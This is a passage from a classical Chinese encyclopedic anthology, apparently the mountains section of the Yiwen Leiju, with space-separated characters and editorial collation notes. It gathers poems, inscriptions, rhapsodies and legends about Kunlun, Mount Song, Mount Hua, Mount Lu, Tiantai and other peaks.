外 区 . 一 人 荷 戟 . 万 夫 趑 趄 . 形 胜 之 地 . 非 亲 勿 居 . 昔 在 武 侯 . 中 流 而 喜 . 山 河 之 固 . 见 屈 吴 起 . 兴 实 在 德 . 险 亦 难 恃 . 洞 庭 孟 门 . 二 国 不 祀 . 自 古 迄 今 . 天 命 匪 易 . 凭 阻 作 昏 . 渺 不 败 绩 . 公 孙 既 灭 . 刘 氏 衔 璧 . 覆 车 遗 轨 . ● 或 重 迹 . 勒 铭 山 阿 . 敢 告 梁 益 .\n晋 湛 方 生 灵 秀 山 铭 曰 . 岩 岩 灵 秀 . 积 岨 幽 重 . 傍 岭 关 岫 . 乘 标 挺 峰 . 桂 柏 参 干 . 芝 菊 乱 丛 . 翠 云 夕 映 . 爽 气 晨 蒙 . 笼 笼 疏 林 . 穆 穆 闲 房 . 幽 室 冬 暄 . 清 荫 夏 凉 . 神 木 奇 生 . 灵 草 贞 香 . 云 鲜 其 色 . 风 飘 其 芳 . 可 以 养 性 . 可 以 翔 . 长 生 久 视 . 何 必 仙 乡 .\n梁 简 文 帝 行 雨 山 铭 曰 . 岩 畔 途 远 . 阿 曲 路 深 . 犹 云 息 驭 . 尚 且 抽 琴 . 兹 峰 独 擅 . 嵚 崎 千 变 . 却 绕 画 房 . 前 临 宝 殿 . 玉 岫 开 华 . 紫 水 回 斜 . 溪 闲 聚 叶 . 涧 里 萦 沙 . 月 映 成 水 . 人 来 当 花 . ● 结 如 帷 . 碛 起 成 基 . 芸 香 馥 迳 . 石 镜 临 墀 .\n又 明 月 山 铭 曰 . 迢 递 峰 长 . 威 纡 岳 聚 . 既 正 书 门 . 兼 同 天 柱 . 非 竞 小 山 . 宁 论 大 庾 . 岂 学 土 龙 . 讵 须 石 鼓 . 緅 色 斜 临 . 霞 文 横 .\n梁 孝 元 帝 东 宫 后 堂 仙 室 山 铭 曰 . 太 华 削 成 . 本 擅 奇 声 . 峰 如 雪 委 . 岭 若 莲 生 . 云 除 紫 盖 . 霞 通 赤 城 . 金 坛 是 箓 . 玉 记 题 名 . 凤 依 桐 树 . 鹤 听 琴 声 . 殿 接 南 箕 . 桥 连 北 斗 . 秋 河 徙 带 . 春 禽 衔 绶 . 朱 鸟 安 窗 . 青 龙 作 牖 .\n梁 庾 肩 吾 东 宫 玉 帐 山 铭 曰 . 玉 帐 寥 廓 . 昆 山 抵 鹊 . 总 叶 成 帐 . 连 枝 起 幕 . 玉 橤 难 徙 . 金 花 不 落 . 隐 士 弹 琴 . 仙 人 看 博 . 岩 留 故 鼎 . 灶 聚 新 荆 . 煮 石 初 烂 . 烧 丹 欲 成 . 桑 田 屡 尽 . 海 水 频 倾 . 长 闻 凤 曲 . 永 听 箫 声 .\n周 庾 信 梁 东 宫 行 雨 山 铭 曰 . 山 名 行 雨 . 地 异 阳 台 . 春 人 无 数 . 神 女 羞 来 . 翠 幔 朝 开 . 新 妆 旦 起 . 树 入 床 前 . 山 来 镜 里 . 草 色 衫 同 . 花 红 面 似 . 开 年 寒 尽 . 正 月 春 游 . 天 丝 剧 藕 . 蝶 粉 多 尘 . 横 藤 碍 路 . 垂 柳 低 人 . 谁 论 洛 水 . 一 个 河 神 .\n陈 徐 陵 后 堂 望 美 人 山 铭 曰 . 高 堂 碍 雨 . 洛 浦 无 洲 . 何 处 相 望 . 山 边 一 楼 . 峰 因 五 妇 . 石 是 三 侯 . 险 逾 地 肺 . 危 邻 天 柱 . 禁 苑 斜 通 . 春 人 恒 聚 . 树 里 闻 歌 . 枝 中 见 舞 . 恰 对 妆 台 . 诸 窗 并 开 . 遥 看 已 识 . 试 唤 便 回 . 岂 如 织 女 . 非 秋 不 来 .\n【 碑 】 梁 简 文 帝 神 山 碑 铭 曰 . 关 号 天 井 . 山 称 地 雌 . 碧 鸡 金 马 . 越 渎 梁 池 . 怀 灵 缊 德 . 孕 宝 含 奇 . 此 亦 神 岫 . 英 名 远 摛 . 昔 有 鹫 窟 . 不 烧 净 土 . 迈 彼 高 踪 . 构 兹 法 宇 . 引 叶 成 帷 . 即 树 为 柱 . 石 砌 危 横 . 崖 阶 斜 .\n梁 元 帝 玄 圃 牛 渚 矶 碑 曰 . 窃 以 增 城 九 重 . 仙 林 八 树 . 未 有 船 如 鸣 鹤 . 时 度 宓 妃 . 桥 似 牵 牛 . 能 分 织 女 . 丹 凤 为 群 . 紫 柱 成 迾 . 清 风 韵 响 . 即 代 歌 仙 . 桂 影 浮 池 . 仍 为 月 浦 . 璧 月 朝 晖 . 金 楼 启 扉 . 画 船 向 浦 . 锦 缆 牵 矶 . 花 飞 拂 袖 . 荷 香 入 衣 . 山 林 朝 市 . 并 觉 忘 归 .\n【 序 】 宋 谢 灵 运 名 山 序 曰 . 夫 衣 食 人 生 之 所 资 . 山 水 性 分 之 所 适 . 世 识 多 云 . 欢 足 本 在 华 堂 . 枕 岩 嗽 流 者 . 之 ○ 初 学 记 五 作 乏 . 于 大 志 . 故 保 其 枯 槁 . 余 谓 不 然 . 君 子 有 爱 物 之 情 . 有 救 物 之 能 . 横 流 之 獘 . 非 才 不 理 . 故 时 有 屈 己 以 济 彼 . 岂 以 名 利 之 场 . 贤 于 清 旷 之 域 邪 . 语 万 乘 则 鼎 湖 有 纵 辔 . 论 储 贰 则 嵩 山 有 绝 控 . 又 陶 朱 高 揖 越 相 . 留 侯 愿 辞 汉 傅 . 推 此 而 言 . 可 以 明 矣 .\n【 书 】 梁 吴 均 与 施 从 事 书 曰 . 故 鄣 县 东 三 十 五 里 . 有 青 山 . 绝 壁 干 天 . 孤 峰 入 汉 . 缘 ○ 全 梁 文 六 十 作 绿 . 嶂 百 重 . 青 川 万 转 . 归 飞 之 鸟 . 千 翼 竞 来 . 企 水 之 猿 . 百 臂 相 接 . 秋 露 为 霜 . 春 萝 被 迳 . 风 雨 如 晦 . 鸡 鸣 不 已 . 信 足 荡 累 颐 物 . 悟 衷 散 赏 .\n又 与 宋 元 思 书 曰 . 风 烟 俱 净 . 天 山 共 色 . 从 流 飘 荡 .\n任 意 东 西 . 自 富 阳 至 桐 庐 . 一 百 许 里 . 奇 山 异 水 . 天 下\n独 绝 . 水 皆 漂 碧 . 千 丈 见 底 . 游 鱼 细 石 . 直 视 无 碍 . 急\n湍 甚 箭 . 猛 浪 若 奔 . 夹 峰 高 山 . 皆 生 寒 树 . 负 势 竞 上 .\n互 相 轩 邈 . 争 高 直 指 . 千 百 成 峰 . 泉 水 激 石 . 泠 泠 作 响\n. 好 鸟 相 鸣 . 鹦 鹦 成 韵 . 蝉 则 千 转 不 穷 . 猿 则 百 叫 无 绝\n. 鸢 飞 戾 天 者 . 望 峰 息 心 . 经 纶 世 务 者 . 窥 谷 忘 反 . 横\n柯 上 蔽 . 在 昼 犹 昏 . 疏 条 交 映 . 有 时 见 日 .\n龙 鱼 河 图 曰 . 昆 仑 山 . 天 中 柱 也 .\n大 荒 西 经 曰 . 赤 水 之 后 . 黑 水 之 前 . 有 大 山 . 名 曰 昆 仑 之 丘 . 有 神 . 人 面 虎 身 . 有 尾 .\n尔 雅 曰 . 西 北 之 美 者 . 有 昆 仑 之 墟 . 璆 琳 琅 玕 焉 .\n穆 天 子 传 曰 . 天 子 遂 宿 于 昆 仑 之 阿 . 赤 水 之 阳 . 吉 日 辛 酉 . 天 子 升 于 昆 仑 之 丘 . 以 观 黄 帝 之 宫 . 纪 年 曰 . 周 穆 王 十 七 年 . 西 征 至 昆 仑 丘 . 见 西 王 母 . 王 母 止 之 .\n神 异 经 曰 . 昆 仑 有 铜 柱 焉 . 其 高 入 天 . 所 谓 天 柱 也 . 围 三 千 里 . 圆 周 如 削 . 铜 柱 下 有 回 屋 焉 . 辟 方 百 丈 . 事 具 仙 部 .\n史 记 曰 . 禹 本 纪 . 言 河 出 昆 仑 . 昆 仑 甚 高 . 三 千 五 百 余 里 . 日 月 所 相 避 隐 为 光 明 也 . 其 上 醴 泉 华 池 . 自 张 骞 使 大 夏 之 后 . 穷 河 源 . 恶 睹 本 纪 所 谓 昆 仑 者 乎 .\n水 经 曰 . 昆 仑 墟 在 西 北 . 去 嵩 高 五 万 里 . 地 之 中 也 . 其 高 万 一 千 里 . 河 水 出 其 东 北 陬 .\n博 物 志 曰 . 昆 仑 从 广 万 一 千 里 . 神 物 之 所 生 . 圣 人 神 仙 之 所 集 . 五 色 云 气 . 五 色 之 流 水 . 其 泉 东 南 流 入 中 国 . 名 为 河 也 .\n葛 仙 公 传 曰 . 昆 仑 . 一 曰 玄 圃 . 一 曰 积 石 瑶 房 . 一 曰 阆 风 台 . 一 曰 华 盖 . 一 曰 天 柱 . 皆 仙 人 所 居 也 .\n搜 神 记 曰 . 昆 仑 之 山 . 地 首 也 . 是 惟 帝 之 下 都 . 故 其 外 绝 以 弱 水 之 深 . 又 环 以 炎 火 之 山 . 山 上 有 鸟 兽 草 木 . 皆 生 育 滋 茂 于 炎 火 之 中 . 故 有 火 澣 布 . 非 此 山 之 皮 枲 . 则 其 鸟 兽 之 毛 也 .\n【 赞 】 晋 郭 璞 昆 仑 丘 赞 曰 . 昆 仑 月 精 . 水 之 灵 府 . 惟\n帝 下 都 . 西 羌 之 宇 . 嵥 然 中 峙 . 号 曰 天 柱 .\n毛 诗 曰 . 崧 高 惟 岳 . 峻 极 于 天 . 维 岳 降 神 . 生 甫 及 申 .\n列 仙 传 曰 . 王 子 乔 . 周 灵 王 太 子 晋 也 . 好 吹 笙 作 凤 鸣 . 游 伊 雒 闲 . 道 士 浮 丘 公 接 上 嵩 高 山 .\n汉 武 帝 内 传 曰 . 武 帝 夜 梦 与 李 少 君 俱 上 嵩 高 山 . 上 半 道 . 有 绣 衣 使 者 . 乘 龙 持 节 . 从 云 中 下 . 言 太 一 君 召 . 觉 . 即 告 近 臣 曰 . 如 朕 梦 . 少 君 将 舍 朕 去 矣 .\n刘 根 别 传 曰 . 根 弃 世 学 道 . 入 中 岳 嵩 山 石 室 中 . 峥 嵘 上 . 东 南 下 五 十 丈 . 北 人 冬 夏 不 衣 . 身 毛 皆 长 一 二 尺 . 颜 状 如 年 十 五 时 .\n仙 经 云 . 嵩 高 山 东 南 大 岩 下 石 孔 . 方 圆 一 丈 . 西 方 北 入 五 六 里 . 有 大 室 . 高 三 十 余 丈 . 周 圆 三 百 步 . 自 然 明 烛 . 相 见 如 日 月 无 异 . 中 有 十 六 仙 人 . 云 月 光 童 子 . 常 在 天 台 . 时 亦 往 来 此 中 . 人 非 有 道 . 不 得 望 见 .\n戴 延 之 西 征 记 曰 . 嵩 高 山 . 岩 中 也 . 东 谓 太 室 . 西 谓 少 室 . 相 去 七 十 里 . 嵩 高 . 总 名 也 .\n世 记 ○ 初 学 记 五 . 太 平 御 览 三 九 作 刘 义 庆 世 说 . 按 亦 见 幽 明 录 .(古 小 说 钩 沉 谓 唐 宋 类 书 引 幽 明 录 . 时 亦 题 世 说 . 是 也.) 曰 . 嵩 高 山 北 有 大 穴 . 莫 测 其 深 . 百 姓 岁 时 每 游 观 其 上 . 晋 初 . 尝 有 一 人 误 堕 穴 中 . 同 辈 冀 其 傥 不 死 . 乃 投 食 于 穴 中 . 坠 者 得 之 . 为 寻 穴 而 行 . 计 可 十 许 日 . 忽 旷 然 见 明 . 又 有 草 屋 . 中 有 二 人 . 对 坐 围 碁 . 局 下 有 一 杯 白 饮 . 坠 者 告 以 饥 渴 . 碁 者 曰 . 可 饮 此 . 坠 者 饮 之 . 气 力 十 倍 . 半 年 许 . 乃 出 于 蜀 中 . 归 洛 下 . 问 张 华 . 华 曰 . 此 仙 馆 大 夫 . 所 饮 者 玉 浆 也 .\n俗 说 曰 . 傅 亮 北 征 . 在 黄 河 中 . 垂 至 洛 . 遥 见 嵩 高 山 . 于 时 同 从 客 在 坐 . 问 傅 曰 . 潘 安 仁 怀 旧 赋 云 . 前 瞻 太 室 . 傍 眺 嵩 丘 . 嵩 丘 太 室 . 故 是 一 山 . 何 以 言 傍 眺 . 傅 曰 . 有 嵩 丘 山 . 去 太 室 七 十 里 . 此 是 书 写 误 耳 .\n【 赞 】 晋 郭 璞 太 室 山 赞 曰 . 嵩 惟 岳 宗 . 华 岱 恒 衡 . 气\n通 元 漠 . 神 洞 幽 明 . 嵬 然 中 立 . 众 山 之 英 .\n西 山 经 曰 . 太 华 之 山 . 削 成 而 四 方 . 其 高 五 千 仞 . 其 广 十 里 .\n晏 子 曰 . 君 子 若 华 山 然 . 松 柏 既 多 矣 . 望 之 尽 日 不 知 厌 .\n列 仙 传 曰 . 脩 羊 公 者 . 魏 人 . 止 华 阴 山 石 室 中 . 中 有 石 榻 . 常 卧 其 上 . 石 尽 陷 穿 .\n又 曰 . 呼 子 先 者 . 汉 中 关 下 卜 师 . 寿 百 余 岁 . 临 去 . 呼 酒 家 妪 . 令 急 装 . 便 有 仙 人 . 持 二 茅 狗 来 至 . 子 先 持 一 与 酒 妪 . 因 各 骑 之 . 乃 龙 也 . 上 华 阴 山 . 常 于 山 大 呼 . 言 子 先 酒 母 在 此 .\n华 山 记 曰 . 华 山 高 岩 四 合 . 重 岭 秀 起 . 上 有 石 池 . 北 有 石 鼓 . 父 老 相 传 云 . 尝 有 闻 其 鸣 者 .\n述 征 记 曰 . 华 山 对 河 东 首 阳 山 . 黄 河 流 于 二 山 之 闲 . 云 本 一 山 . 巨 灵 所 开 . 今 睹 手 迹 于 华 岳 . 而 脚 迹 在 首 阳 山 下 .\n【 赞 】 晋 郭 璞 华 山 赞 曰 . 华 岳 灵 峻 . 削 成 四 方 . 爰 有 神 女 . 是 挹 玉 浆 . 其 谁 游 之 . 龙 驾 云 裳 .\n【 铭 】 晋 傅 玄 华 岳 铭 序 曰 . 易 称 法 象 莫 大 乎 天 地 . 天 以 高 明 崇 显 . 而 岳 配 焉 . 地 以 广 厚 为 基 . 而 岳 体 焉 . 若 夫 太 华 之 为 镇 也 . 五 岳 列 位 而 存 其 首 . 三 条 分 方 而 处 其 中 . 故 能 参 两 仪 以 比 德 . 协 和 气 之 絪 缊 . 故 云 行 与 雨 施 . 兴 雷 风 以 动 物 . 是 以 古 先 历 代 圣 帝 明 王 . 莫 不 燔 柴 加 牲 . 尊 而 祀 焉 . 于 虞 书 . 则 西 巡 狩 至 于 西 岳 . 而 亲 祭 焉 . 于 礼 . 则 大 司 马 掌 其 分 域 . 而 大 宗 伯 典 其 礼 祀 也 .\n【 碑 】 后 汉 张 昶 西 岳 华 山 堂 阙 碑 序 曰 . 易 曰 . 天 地 定\n位 . 山 泽 通 气 . 然 山 莫 尊 于 岳 . 泽 莫 盛 于 渎 . 岳 有 五 而\n华 处 其 一 . 渎 有 四 而 河 在 其 数 . 其 灵 也 至 矣 . 人 主 废 兴\n. 必 有 其 应 . 故 岱 山 石 立 . 中 宗 继 统 . 太 华 授 璧 . 秦 胡\n绝 绪 . 白 鱼 入 舟 . 姬 武 建 业 . 宝 珪 出 水 . 子 朝 丧 位 . 布\n五 方 则 处 其 西 . 列 三 条 则 居 其 中 . 世 宗 又 经 集 灵 之 宫 于\n其 下 . 想 松 乔 之 俦 . 是 游 是 憩 . 郡 国 方 士 . 自 远 而 至 者\n. 充 岩 塞 崖 . 乡 邑 巫 觋 . 宗 祝 乎 其 中 者 . 亦 盈 谷 溢 磎 .\n咸 有 浮 飘 之 志 . 愉 悦 之 色 . 必 云 霄 之 路 可 升 而 越 . 果 繁\n昌 之 福 可 降 而 致 也 . 故 殖 财 之 宝 . 黄 玉 自 出 . 令 德 之 珍\n. 卿 相 是 毓 . 匪 惟 嵩 高 . 降 生 申 甫 . 斯 亦 有 焉 .\n湘 中 记 曰 . 衡 山 九 疑 . 皆 有 舜 庙 . 遥 望 衡 山 . 如 阵 云 . 沿 湘 千 里 . 九 向 九 背 . 乃 不 复 见 .\n又 曰 . 南 阳 刘 道 人 . 尝 游 衡 山 . 行 数 十 里 . 有 绝 谷 . 不 得 前 . 遥 望 见 三 石 囷 . 二 囷 ● . 一 囷 开 . 盛 弘 之 荆 州 记 曰 . 衡 山 有 三 峰 极 秀 . 一 峰 名 芙 蓉 峰 . 最 为 竦 桀 . 自 非 清 霁 素 朝 . 不 可 望 见 . 峰 上 有 泉 飞 派 . 如 一 幅 绢 . 分 映 青 林 . 直 注 山 下 .\n异 苑 曰 . 湘 东 姚 祖 . 太 元 末 为 郡 吏 . 经 衡 山 . 望 岩 下 有 数 年 少 . 并 执 笔 作 书 . 祖 谓 是 行 侣 休 息 . 乃 枉 道 过 之 . 未 至 百 许 步 . 少 年 相 与 翻 然 飞 飏 .\n【 诗 】 晋 庾 阐 诗 曰 . 北 眺 衡 山 首 . 南 睨 五 岭 末 . 寂 坐\n挹 虚 恬 . 运 目 情 四 豁 . 翔 乱 凌 九 宵 . 陆 鳞 困 濡 沫 . 既 体\n江 湖 悠 . 安 识 南 溟 阔 .\n伏 滔 游 庐 山 序 曰 . 庐 山 者 . 江 阳 之 名 岳 . 其 大 形 也 . 背 岷 流 . 面 彭 ● . 蟠 根 所 据 . 亘 数 百 里 . 重 岭 桀 嶂 . 仰 插 云 日 . 俯 瞰 川 湖 之 流 焉 .\n远 法 师 庐 山 记 曰 . 东 南 有 香 炉 山 . 孤 峰 秀 起 . 游 气 笼 其 上 . 则 棼 氲 若 烟 .\n神 仙 传 曰 . 董 奉 还 豫 章 . 庐 山 下 居 . 在 山 闲 . 了 不 佃 作 . 为 人 治 病 . 亦 不 取 钱 物 . 使 病 愈 者 . 种 杏 五 株 .\n张 野 庐 山 记 曰 . 庐 山 . 天 将 雨 . 则 有 白 云 . 或 冠 峰 岩 . 或 亘 中 岭 . 俗 谓 之 山 带 . 不 出 三 日 必 雨 .\n周 景 式 庐 山 记 曰 . 匡 俗 . 周 威 ○ 太 平 御 览 四 十 一 引 张 僧 鉴 寻 阳 记 作 武 . 王 时 . 生 而 神 灵 . 庐 于 此 山 . 世 称 庐 君 . 故 山 取 号 焉 .\n又 曰 . 登 庐 山 . 望 九 江 . 以 观 禹 之 迹 . 其 兹 峰 乎 . 东 南 隐 诸 岭 . 不 得 骈 瞩 . 自 庐 山 人 迹 所 暨 . 迥 望 处 无 复 出 此 者 . 又 甚 高 峻 . 每 雨 . 其 下 成 潦 . 而 上 犹 皎 日 . 峰 头 有 大 盘 石 . 可 坐 数 百 人 .\n【 诗 】 宋 谢 灵 运 登 庐 山 绝 顶 望 诸 峤 诗 曰 . 积 峡 忽 复 启 . 平 涂 俄 已 ● . 峦 陇 有 合 沓 . 往 来 无 踪 辙 . 昼 夜 蔽 日 月 . 冬 夏 共 霜 雪 .\n宋 鲍 昭 ○ 按 当 作 照 . 后 同 . 登 庐 山 诗 曰 . 悬 装 乱 水 区 . 旅 薄 次 山 楹 . 千 岩 状 岨 积 . 万 壑 势 回 萦 . 巃 嵷 高 昔 貌 . 纷 乱 袭 前 名 . 洞 涧 窥 地 脉 . 竦 树 隐 天 经 . 松 磴 上 迷 密 . 云 窦 下 纵 横 . 阴 冰 实 夏 结 . 炎 树 信 冬 荣 .\n又 登 庐 山 望 石 门 诗 曰 . 明 发 振 云 冠 . 升 峤 远 栖 趾 . 高 峰 隔 半 天 . 长 崖 断 千 里 . 鸡 鸣 青 涧 中 . 猿 啸 白 云 里 . 瑶 波 逐 穴 开 . 霞 石 触 峰 起 . 回 互 非 一 形 . 参 差 悉 相 似 .\n梁 江 淹 登 庐 山 香 鑪 峰 诗 曰 . 绛 气 下 萦 薄 . 白 云 上 杳 冥 . 中 坐 瞰 蜿 虹 . 俛 伏 视 流 星 . 日 落 长 沙 渚 . 曾 阴 万 里 生 . 藉 兰 素 多 意 . 临 风 默 含 情 .\n【 赋 】 宋 支 昙 谛 庐 山 赋 曰 . 昔 哉 壮 丽 . 峻 极 氤 氲 . 包 灵 奇 以 藏 器 . 蕴 绝 峰 乎 青 云 . 景 澄 则 岩 岫 开 镜 . 风 生 则 芳 林 流 芬 . 岭 奇 故 神 明 鳞 萃 . 路 绝 故 人 迹 自 分 . 严 清 升 山 于 玄 崖 . 世 高 垂 化 于 亭 . 应 真 陵 云 以 踞 峰 . 眇 忽 翳 景 而 入 冥 . 咸 豫 闻 其 清 尘 . 妙 无 得 之 称 名 也 . 若 其 南 面 巍 崛 . 北 背 ● 蒂 . 悬 霤 分 流 以 飞 湍 . 七 岭 重 而 叠 势 . 映 以 竹 柏 . 蔚 以 柽 松 . 萦 以 三 湖 . 带 以 九 江 . 嗟 四 物 之 萧 森 . 爽 独 秀 于 玄 冬 . 美 二 流 之 潺 湲 . 津 百 川 之 所 冲 . 峭 门 百 寻 . 峻 阙 千 仞 . 香 鑪 吐 云 以 像 烟 . 甘 泉 涌 霤 而 先 润 .\n【 碑 】 梁 元 帝 庐 山 碑 序 曰 . 夫 日 月 丽 天 . 皇 穹 所 以 贞\n观 . 川 岳 带 地 . 后 土 所 以 惟 宁 . 庐 山 者 . 亦 南 国 之 德 镇\n. 虽 林 石 异 势 . 而 云 霞 共 色 . 长 风 夜 作 . 则 万 流 俱 响 .\n晨 鼯 晓 吟 . 则 百 岭 齐 应 . 东 瞻 洪 井 . 识 曳 帛 之 在 兹 . 西\n望 石 梁 . 见 指 宝 之 可 拾 . 诚 复 慕 类 易 悲 . 山 中 难 久 . 攀\n萝 结 桂 . 多 见 淹 留 .\n穆 天 子 传 曰 . 天 子 命 驾 八 骏 之 乘 . 赤 骥 之 驷 . 南 征 翔 行 . 迳 绝 翟 道 . 升 于 太 行 . 南 济 于 河 .\n墨 子 曰 . 墨 子 请 耕 桂 岭 子 ○ 墨 子 耕 柱 篇 作 墨 子 怒 耕 柱 子 . 岭 字 衍 .(疑 类 聚 据 本 怒 作 请 . 请 岭 音 近 . 故 致 衍 . 若 作 怒 . 则 音 相 距 远 矣 . 请 问 也 . 见 国 语 吴 语 注 . 吕 氏 春 秋 首 时 注 .) 曰 . 将 上 太 行 . 驾 骥 与 牛 . 子 将 谁 驱 . 曰 . 将 驱 骥 . 以 骥 足 贵 ○ 耕 柱 篇 及 太 平 御 览 四 十 作 责 . 也 .\n尸 子 曰 . 龙 门 . 鱼 之 难 也 . 太 行 . 牛 之 难 也 . 以 德 报 怨 . 人 之 难 也 .\n战 国 策 曰 . 范 睢 说 秦 王 曰 . 举 兵 攻 荥 阳 . 则 成 皋 之 路 不 通 . 北 堑 太 行 之 道 . 则 上 党 之 兵 不 下 . 王 举 兵 而 攻 荥 阳 . 则 其 国 断 为 三 .\n神 仙 传 曰 . 王 烈 入 太 行 山 . 忽 闻 山 东 北 雷 声 . 往 视 . 见 山 上 破 数 百 丈 . 石 中 有 一 孔 . 径 尺 . 中 有 青 泥 流 出 . 烈 取 抟 之 . 随 手 坚 凝 . 气 味 如 粳 米 饮 .\n【 诗 】 晋 袁 宏 从 征 行 方 山 头 诗 曰 . 峨 峨 太 行 . 凌 虚 抗\n势 . 天 岭 交 气 . 窈 然 无 际 . 澄 流 入 神 . 玄 谷 应 契 . 四 象\n悟 心 . 幽 人 来 憩 .\n河 图 括 地 象 曰 . 荆 山 为 地 雌 . 上 为 轩 辕 星 .\n韩 子 曰 . 卞 和 得 玉 于 楚 山 中 . 献 厉 王 . 王 使 玉 人 相 之 . 曰 . 石 也 . 刖 其 左 足 . 和 抱 其 璞 . 哭 于 荆 山 之 下 . 三 日 . 泣 尽 继 之 以 血 . 事 具 玉 门 .\n水 经 曰 . 荆 山 在 南 郡 临 沮 县 东 北 .\n【 诗 】 晋 桓 玄 登 荆 山 诗 曰 . 理 不 孤 湛 . 影 比 有 津 . 曾 是 名 岳 . 明 秀 超 邻 . 器 荒 外 . 命 契 响 神 . 我 之 怀 矣 . 巾 驾 飞 轮 .\n梁 江 淹 望 荆 山 诗 曰 . 奉 诏 至 江 汉 . 始 知 楚 塞 长 . 南 关\n绕 桐 柏 . 西 岳 出 鲁 阳 . 寒 郊 无 留 影 . 秋 日 悬 清 光 . 悲 风\n绕 重 林 . 云 霞 肃 川 涨 . 岁 晏 君 如 何 . 零 泪 染 衣 裳 .\n庾 阐 杨 都 赋 注 曰 . 建 康 宫 北 十 里 . 有 蒋 山 . 舆 地 图 谓 之 钟 山 . 元 皇 帝 未 渡 江 之 年 . 望 气 者 云 . 蒋 山 上 有 紫 云 . 时 时 晨 见 .\n山 谦 之 丹 阳 记 曰 . 京 师 南 北 . 并 有 连 岭 . 而 蒋 山 独 隆 崛 峻 异 . 其 形 象 龙 . 实 杨 都 之 镇 也 . 孙 权 葬 山 南 . 因 山 为 名 . 号 曰 蒋 陵 .\n沈 约 宋 书 曰 . 萧 思 话 领 左 卫 . 尝 从 太 祖 登 钟 山 北 岭 . 石 上 弹 琴 . 因 赐 以 银 钟 酒 . 事 具 琴 部 .\n【 诗 】 梁 沈 约 游 钟 山 诗 曰 . 灵 山 纪 地 德 . 地 险 资 岳 灵 . 终 南 表 秦 馆 . 少 室 迩 王 城 . 北 阜 何 其 峻 . 林 薄 杳 葱 青 . 发 地 多 奇 岭 . 干 云 非 一 状 . 合 沓 共 隐 天 . 参 差 分 相 望 . 郁 律 构 丹 巘 . 崚 嶒 起 青 嶂 . 即 事 既 多 美 . 临 眺 殊 复 奇 . 南 瞩 储 胥 观 . 西 望 昆 明 池 . 山 中 咸 可 悦 . 赏 逐 四 时 移 . 春 光 发 陇 首 . 秋 风 生 桂 枝 . 多 值 息 心 侣 . 结 架 山 之 足 . 八 解 鸣 涧 流 . 四 禅 隐 岩 曲 .\n梁 虞 骞 登 钟 山 下 峰 望 诗 曰 . 冠 者 五 六 人 . 携 手 岩 之 际\n. 散 意 百 仞 端 . 极 目 千 里 睇 . 叠 岫 乍 昏 明 . 浮 云 时 卷 ●\n. 遥 看 野 树 短 . 远 望 樵 人 细 .\n朱 超 石 与 兄 书 曰 . 登 北 芒 远 眺 . 众 美 都 尽 . 光 武 坟 边 杏 甚 美 . 今 奉 送 核 .\n【 诗 】 魏 刘 伶 北 芒 客 舍 诗 曰 . 泱 漭 望 舒 隐 . 黮 黤 玄 夜 阴 . 寒 鸡 思 天 曙 . 拥 翅 吹 长 音 . 蚊 蚋 归 丰 草 . 枯 叶 散 萧 林 . 陈 醴 发 悴 颜 . 巴 歈 畅 真 心 . 缊 被 终 不 晓 . 斯 叹 信 难 任 . 何 以 除 斯 叹 . 付 之 与 瑟 琴 . 长 笛 响 中 夕 . 闻 此 消 胸 衿 .\n【 赋 】 晋 张 协 登 北 芒 赋 曰 . 陟 峦 丘 之 ● ● . 升 逶 迤 之\n脩 . 回 余 车 于 峻 岭 . 聊 送 目 于 四 远 . 灵 岳 郁 以 造 天 .\n连 岗 岩 以 蹇 产 . 伊 洛 混 而 东 流 . 帝 居 赫 以 崇 显 . 山 川 汨\n其 常 弓 . 万 物 化 而 代 转 . 何 天 地 之 难 穷 . 悼 人 生 之 危 浅\n. 叹 白 日 之 西 颓 兮 . 哀 世 路 之 多 蹇 . 于 是 徘 徊 绝 岭 . 踟\n蹰 步 趾 . 前 瞻 狼 山 . 却 窥 大 岯 . 东 眺 虎 牢 . 西 睨 熊 耳 .\n邪 亘 天 际 . 旁 极 万 里 . 莽 眩 眼 以 芒 昧 . 谅 群 形 之 难 纪 .\n临 千 仞 而 俯 看 . 似 游 身 于 云 霓 . 抚 长 风 以 延 伫 . 想 凌 天\n而 举 翮 . 瞻 冠 盖 之 悠 悠 . 睹 商 旅 之 接 枙 . 尔 乃 地 势 窊 隆\n. 丘 墟 陂 阤 . 坟 陇 叠 . 基 布 星 罗 . 松 林 掺 映 以 攒 列 .\n玄 木 搜 寥 而 振 柯 . 壮 汉 氏 之 所 营 . 望 五 陵 之 嵬 峨 . 丧 乱\n起 而 启 壤 . 僮 登 而 作 歌 .\n异 苑 曰 . 会 稽 天 台 山 . 虽 非 遐 远 . 自 非 忘 生 忘 形 . 不 能 跻 也 .\n幽 明 录 曰 . 汉 帝 永 平 五 年 . 剡 县 刘 晨 阮 肇 . 共 入 天 台 山 . 度 山 . 出 一 大 溪 . 溪 边 有 二 女 子 . 姿 质 妙 绝 . 遂 留 半 年 . 怀 土 思 求 归 . 既 出 . 亲 旧 零 落 . 邑 屋 改 异 . 无 复 相 识 . 讯 问 得 七 世 孙 .\n孔 灵 符 会 稽 记 曰 . 赤 城 山 内 . 则 有 天 台 灵 岳 . 玉 室 璇 台 .\n【 赋 】 晋 孙 绰 游 天 台 山 赋 序 曰 . 天 台 山 者 . 盖 山 岳 之\n神 秀 者 也 . 涉 海 则 有 方 丈 蓬 莱 . 登 陆 则 有 四 明 天 台 . 皆\n玄 圣 之 所 游 化 . 灵 仙 之 所 窟 宅 . 夫 其 峻 极 之 状 . 嘉 祥 之\n美 . 穷 山 海 之 瑰 富 . 尽 人 神 之 壮 丽 矣 . 所 以 不 列 于 五 岳\n. 阙 载 于 常 典 者 . 岂 不 以 其 所 立 冥 奥 . 其 路 幽 迥 . 或 倒\n景 于 重 溟 . 或 匿 峰 于 千 岭 . 始 经 魑 魅 之 涂 . 卒 践 无 人 之\n境 . 举 世 罕 能 登 陟 . 王 者 莫 由 禋 祀 . 理 无 隐 而 不 彰 . 启\n二 奇 以 示 兆 . 赤 城 霞 起 而 建 标 . 瀑 布 飞 流 以 界 道 .\n论 语 曰 . 伯 夷 叔 齐 . 饿 于 首 阳 之 下 .\n史 记 . 伯 夷 叔 齐 . 孤 竹 君 之 二 子 . 让 国 逃 去 . 隐 于 首 阳 山 . 采 薇 而 食 之 . 遂 饿 死 首 阳 山 . 事 具 让 部 .\n【 诗 】 魏 阮 籍 诗 曰 . 步 出 上 东 门 . 遥 望 首 阳 岑 . 下 有 采 薇 士 . 上 有 嘉 树 林 .\n【 赋 】 汉 杜 笃 首 阳 山 赋 曰 . 嗟 首 阳 之 孤 岭 . 形 势 窟 其\n槃 曲 . 面 河 源 而 抗 岩 陇 . 隈 